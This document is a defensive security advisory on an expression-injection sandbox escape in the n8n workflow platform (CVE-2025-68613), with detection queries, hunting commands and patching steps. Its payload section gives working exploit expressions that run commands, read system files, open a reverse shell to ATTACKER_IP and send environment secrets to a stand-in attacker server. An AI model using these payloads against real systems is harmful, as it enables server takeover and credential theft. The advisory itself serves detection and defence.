Quick Facts
| Attribute | Details |
|---|---|
| CVE ID | CVE-2025-68613 |
| Severity | Critical (CVSS score: 9.9) |
| Affected Product | n8n Workflow Automation Platform |
| Affected Versions | 0.211.0 through 1.120.3, and 1.121.0 |
| Fixed Versions | 1.120.4, 1.121.1, 1.122.0 and later |
| Attack Vector | Expression injection resulting in remote code execution |
| Authentication Required | Yes — any authenticated user, including low-privilege users |
| Exploit Status | Public proof-of-concept available |
| Internet Exposure | Approximately 103,000 instances exposed globally |
What n8n Is and Why This Vulnerability Is Serious
n8n is an open-source workflow automation platform commonly deployed at the core of many organizations. It is frequently used to connect databases, APIs, cloud services, CRMs, internal tools, and third-party SaaS platforms.
Typical use cases include:
- Sending Slack notifications when support tickets are created
- Synchronizing customer data between Salesforce and internal databases
- Triggering cloud workflows based on business events
Because of this role, n8n often has access to:
- Database credentials
- API tokens
- OAuth secrets
- Internal network resources
When a vulnerability allows full remote code execution within n8n, it effectively places an attacker at the center of the environment. Compromising n8n commonly leads to compromise of everything it integrates with.
Vulnerability Summary
n8n allows users to write JavaScript expressions within workflows using the {{ ... }} syntax. These expressions are evaluated server-side whenever workflows are executed.
To limit risk, n8n uses a JavaScript sandbox to evaluate these expressions. However, the sandbox implementation is flawed.
The issue arises from improper sanitization of the this context inside function expressions. In a Node.js environment, gaining access to the wrong execution context enables access to the global process object. Once that happens, an attacker can load arbitrary modules and execute system commands.
Exploitation Flow
A successful exploitation typically follows this sequence:
- An attacker authenticates using any valid n8n account (even a basic user account is sufficient)
- A new workflow is created or an existing one is modified
- A malicious JavaScript expression is inserted into a node that supports expressions (Set, Code, Function, etc.)
- The workflow is executed
- The expression escapes the sandbox
- The attacker gains command execution with the same privileges as the n8n process
The attack is highly reliable and blends in with legitimate usage patterns, since writing expressions is expected behavior for authenticated users.
Root Cause Analysis
The expression engine relies on a component called Tournament for JavaScript evaluation. Two issues make sandbox escape possible.
Improper this Context Handling
Functions defined inside expressions have access to a this object. In a secure sandbox, this object should be empty or heavily restricted. In vulnerable versions of n8n, the hook responsible for sanitizing this was effectively empty.
As a result, function expressions could reference the global Node.js execution context.
Incomplete Dangerous Property Blocking
n8n attempted to block access to dangerous properties using a prototype sanitizer, but the blacklist was incomplete. Critical properties that were not blocked include:
process.mainModuleprocess.bindingprocess._load
These properties allow attackers to load arbitrary modules and execute commands.
The patch introduced a proper FunctionThisSanitizer and expanded the blacklist to block these access paths.
Realistic Attack Scenarios
Scenario 1: Insider Threat
A user with standard n8n access creates a workflow that appears legitimate. Hidden inside a node is a malicious expression that silently exfiltrates environment variables. Each workflow execution leaks database credentials and API keys to an external server.
Scenario 2: Account Compromise
An attacker gains access to n8n credentials via phishing. They log in, create a workflow containing a reverse shell payload, execute it once, and obtain interactive access to the server. The workflow is then deleted to minimize evidence.
Scenario 3: Malicious Workflow Template
A workflow template is imported from an online repository. It behaves as expected but contains a malicious expression that triggers under certain conditions. This introduces a persistent backdoor into the environment.
Exploitation Payload Examples
These payloads demonstrate the impact of the vulnerability and are useful for detection engineering.
Reading Environment Variables
{{ (function() { return this.process.env; })() }}
This exposes all environment variables, including credentials and API tokens.
Executing System Commands
{{ (function() {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
})() }}
Reading Sensitive Files
{{ (function() {
var require = this.process.mainModule.require;
var fs = require('fs');
return fs.readFileSync('/etc/passwd', 'utf-8');
})() }}
Constructor Chain Sandbox Bypass
{{ (function() {
return this.constructor.constructor('return process')();
})() }}
Establishing a Reverse Shell
{{ (function() {
var require = this.process.mainModule.require;
var exec = require('child_process').exec;
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
return 'connected';
})() }}
Silent Data Exfiltration
{{ (function() {
var https = this.process.mainModule.require('https');
var data = JSON.stringify(this.process.env);
var req = https.request({
hostname: 'attacker-server.com',
port: 443,
path: '/collect',
method: 'POST',
headers: {'Content-Type': 'application/json'}
});
req.write(data);
req.end();
return 'done';
})() }}
Indicators of Compromise
Suspicious Expression Patterns
Any of the following appearing in workflow definitions or logs should be treated as suspicious:
this.processprocess.mainModulemainModule.requirechild_processconstructor.constructorprocess.bindingexecSyncspawnSyncprocess.envused inside expressions
Behavioral Indicators
- Workflows created, executed once, then immediately deleted
- Workflow changes made by users who normally do not edit workflows
- Expression evaluation errors referencing
process,require, orfs - Service accounts creating or modifying workflows unexpectedly
- Short bursts of workflow executions by a single user
System-Level Indicators
Process-Related
- Child processes spawned by the Node.js process running n8n
- Shells such as
bash,sh, orpythonwithnodeas the parent process - Outbound connections to unknown external IP addresses
File System Indicators
- New SSH keys added to
authorized_keys - Modified cron jobs
- New files created in
/tmpor user home directories - Unexpected changes to system files
Persistence Indicators
- New systemd services
- Modified startup scripts
- New user accounts
Detection Queries
Microsoft Sentinel / KQL
let MaliciousPatterns = dynamic([
"this.process",
"process.mainModule",
"child_process",
"constructor.constructor",
"mainModule.require",
"execSync",
"spawnSync",
"process.env",
"process.binding"
]);
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where RequestURL has_any ("/rest/workflows", "/webhook/")
| where RequestMethod in ("POST", "PUT")
| extend RequestBodyLower = tolower(RequestBody)
| where RequestBodyLower has_any (MaliciousPatterns)
| project TimeGenerated, SourceIP, RequestURL, RequestMethod
| summarize AttemptCount=count() by SourceIP
Process Monitoring (KQL)
DeviceProcessEvents
| where InitiatingProcessFileName == "node"
| where FileName in ("bash","sh","python","python3","curl","wget","nc","ncat")
Splunk SPL
index=web sourcetype=n8n* OR sourcetype=webserver
| eval payload_lower=lower(coalesce(form_data, request_body, post_data))
| where like(payload_lower, "%this.process%")
OR like(payload_lower, "%mainmodule.require%")
OR like(payload_lower, "%child_process%")
OR like(payload_lower, "%constructor.constructor%")
OR like(payload_lower, "%process.env%")
OR like(payload_lower, "%execsync%")
OR like(payload_lower, "%spawnsync%")
| stats count by src_ip, user
Linux Auditd Rules
-a always,exit -F arch=b64 -S execve -F comm=node -k n8n_command_exec
-a always,exit -F arch=b32 -S execve -F comm=node -k n8n_command_exec
-a always,exit -F arch=b64 -S connect -F comm=node -k n8n_network
-a always,exit -F arch=b32 -S connect -F comm=node -k n8n_network
-w /etc/passwd -p r -k n8n_sensitive_read
-w /etc/shadow -p r -k n8n_sensitive_read
-w /root/.ssh -p rwa -k n8n_ssh_access
-w /var/spool/cron -p wa -k n8n_cron_modification
Reload rules:
sudo auditctl -R /etc/audit/rules.d/n8n-monitoring.rules
Sigma Rule
title: n8n CVE-2025-68613 Expression Injection Attempt
id: c7e2f8a1-5d3b-4a9c-b6e4-1f8d9c0a2b5e
status: experimental
description: Detects attempts to exploit CVE-2025-68613 using malicious JavaScript expressions
level: high
tags:
- attack.execution
- attack.t1059.007
- attack.initial_access
- cve.2025.68613
Active Hunting Commands
Run the following checks regularly on your n8n servers to identify signs of exploitation or post-compromise activity.
Process Inspection
Check what processes the n8n service has spawned. This helps identify unexpected shells or utilities launched by the Node.js process.
# Check what processes n8n has spawned
pstree -p $(pgrep -f n8n) 2>/dev/null || echo "n8n process not found"
Look specifically for suspicious child processes tied to the n8n Node.js runtime.
# Look for suspicious child processes
ps aux | grep -E "node.*n8n" | grep -v grep
Network Activity Review
Inspect active network connections initiated by Node.js. Unexpected outbound connections may indicate command-and-control or data exfiltration.
# Check for unusual network connections from Node.js
netstat -tnp 2>/dev/null | grep node
ss -tnp | grep node
File System Changes
Review recently modified files in n8n directories. Focus on files created or altered in the last hour.
# Review recent file modifications in n8n directories
find /path/to/n8n -type f -mmin -60 -ls 2>/dev/null
SSH Key Checks
Verify that no unauthorized SSH keys have been added. Always compare against a known-good baseline.
# Check for new SSH keys (compare against known baseline)
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys 2>/dev/null
Cron Job Review
Attackers commonly use cron for persistence. Look for commands that pull or execute remote payloads.
# Look for suspicious cron entries
crontab -l 2>/dev/null | grep -E "(curl|wget|bash|nc|python|/dev/tcp)"
cat /etc/crontab | grep -E "(curl|wget|bash|nc|python|/dev/tcp)"
User Account Review
Identify recently created user accounts that could indicate unauthorized persistence.
# Check for recently created user accounts
awk -F: '$3 >= 1000 {print $1}' /etc/passwd
Service and Login Review
Review running services and recent logins to catch suspicious activity.
# Review systemd for suspicious services
systemctl list-units --type=service --state=running --no-pager | tail -20
# Check recent login activity
last -20
Remediation Steps
Priority 1: Patch Immediately
This is non-negotiable. Every day patching is delayed increases the likelihood of compromise.
Using Docker
# Pull the patched version
docker pull n8nio/n8n:1.122.0
# Stop current container
docker stop n8n-container-name
# Back up your data volume first
docker cp n8n-container-name:/home/node/.n8n ./n8n-backup
# Start with new image
docker run -d \
--name n8n-patched \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.122.0
# Verify the version
curl -s http://localhost:5678/api/v1/health | grep -o '"n8nVersion":"[^"]*"'
Using npm
# Back up first
n8n export:workflow --backup --output=./workflow-backup/
# Update
npm install -g [email protected]
# Verify
n8n --version
Official Patch References
- GitHub Security Advisory:
https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp - Patch Commit:
https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316
Priority 2: Temporary Mitigations (While Patching)
If patching cannot be completed immediately, the following steps reduce risk but do not eliminate it.
Restrict Workflow Permissions
Limit who can create or edit workflows in the n8n admin panel. Only fully trusted administrators should retain this access until patching is complete.
Disable Public Registration
If self-registration is enabled, turn it off immediately. Every additional account increases the attack surface.
Network Isolation
Place n8n behind a VPN or internal network boundary. If it does not need public internet exposure, it should not have it. Restrict access to known IP ranges only.
Audit Existing Workflows
Manually review all workflows for suspicious expressions. Any indicator listed in the IOC section should be treated as a confirmed compromise.
Priority 3: Harden Your Deployment
Even after patching, defense-in-depth is critical.
Run n8n in a Hardened Container
# docker-compose.yml
version: '3.8'
services:
n8n:
image: n8nio/n8n:1.122.0
read_only: true
tmpfs:
- /tmp
- /home/node/.n8n/cache
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE
user: "1000:1000"
environment:
- N8N_LOG_LEVEL=info
- N8N_DIAGNOSTICS_ENABLED=false
networks:
- internal
deploy:
resources:
limits:
memory: 2G
cpus: '1.0'
Enable Comprehensive Logging
Ensure audit logging is enabled in n8n and that logs are forwarded to your SIEM. This is essential for detection, investigation, and explaining impact if an incident occurs.
Enforce Least Privilege
Run n8n as a non-root user, restrict file system access, and limit outbound network traffic strictly to the destinations required for legitimate workflows.
If Compromise Is Suspected
- Isolate the host immediately
- Preserve logs and memory
- Rebuild the system from scratch
- Rotate all credentials
- Restore only verified clean workflow data
Key Takeaways
- This is a worst-case vulnerability with a very low barrier to exploitation
- Authentication does not provide protection
- n8n compromise often leads to full environment compromise
- Patch immediately
- Assume breach if exposed and unpatched
- Detection is achievable and should be implemented proactively
